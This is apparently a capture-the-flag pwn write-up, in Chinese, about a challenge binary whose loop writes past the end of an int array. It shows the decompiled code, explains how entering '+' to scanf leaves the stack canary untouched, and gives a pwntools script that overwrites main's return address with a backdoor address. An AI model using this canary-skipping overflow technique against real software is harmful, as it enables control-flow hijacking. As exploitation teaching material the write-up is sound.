不思議なscanf
c
int __fastcall main(int argc, const char **argv, const char**envp)
{
int v3; // eax
int i; // [rsp+Ch] [rbp-24h]
_DWORD v6[6]; // [rsp+10h] [rbp-20h] BYREF
unsigned__int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
initial(argc, argv, envp);
puts(aGgggggggggeeee);
for ( i = 0; i <= 15; ++i )
{
printf(format);
v3 = i;
__isoc99_scanf(&unk_4047FA, &v6[v3]);
}
puts("銉愩偆銉愩偆");
return 0;
}
程序定义了一个 int 类型的数组,并利用 for 循环用 scanf 向数组读入内容
但是 for 循环的次数是 16 次,已经超出了数组定义的范围,造成了数组越界
所以我们最终的目的就是利用这个数组越界修改 main
函数的返回地址
TIP
scanf
时使用的参数 %d
:
正常输入时,输入为范围在
如果输入范围在 long long int
的范围。
如果输入范围在 long long int
范围之外,则统一将参数赋值为
如果输入为非数字,分为下列情况:
- 如果输入仅有一个,则该输入无效,该值不变;
- 如果输入有数字前缀(如
12345abcd
),则scanf
仅会读取前面的数字,从第一个非数字开始,后面全部舍弃(12345
); - 如果输入有多个且使用一个
scanf
语句(如scanf("%d, %d", &a, &b)
),输入第一个非数字后,后面的所有输入均为无效,前面的输入可以赋值; - 如果输入有多个且使用多个
scanf
语句(含循环,即一个scanf
中仅有一个输入),则输入非数字时,如果输入的不是+
或-
,则后面紧跟的所有scanf
均自动跳过,变为无效,不能输入。如果输入的+
或-
,则会跳过当前输入,后面仍然可以进行输入。
—— 摘抄自:以 Pwn 视角看待 C 函数 —— scanf
这里我们需要利用 scanf
多次输入的特性,通过输入字符 +
来跳过对 Canary 的修改,进而直接修改返回地址为后门地址。
python
#!/usr/bin/env python3
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
p = process('./pwn')
elf = ELF('./pwn')
for _ in range(10):
ru('わたし、気になります!')
sl(b'+')
ru('わたし、気になります!')
sl(str(0x401240))
ru('わたし、気になります!')
sl(str(0))
for _ in range(4):
ru('わたし、気になります!')
sl(b'+')
p.interactive()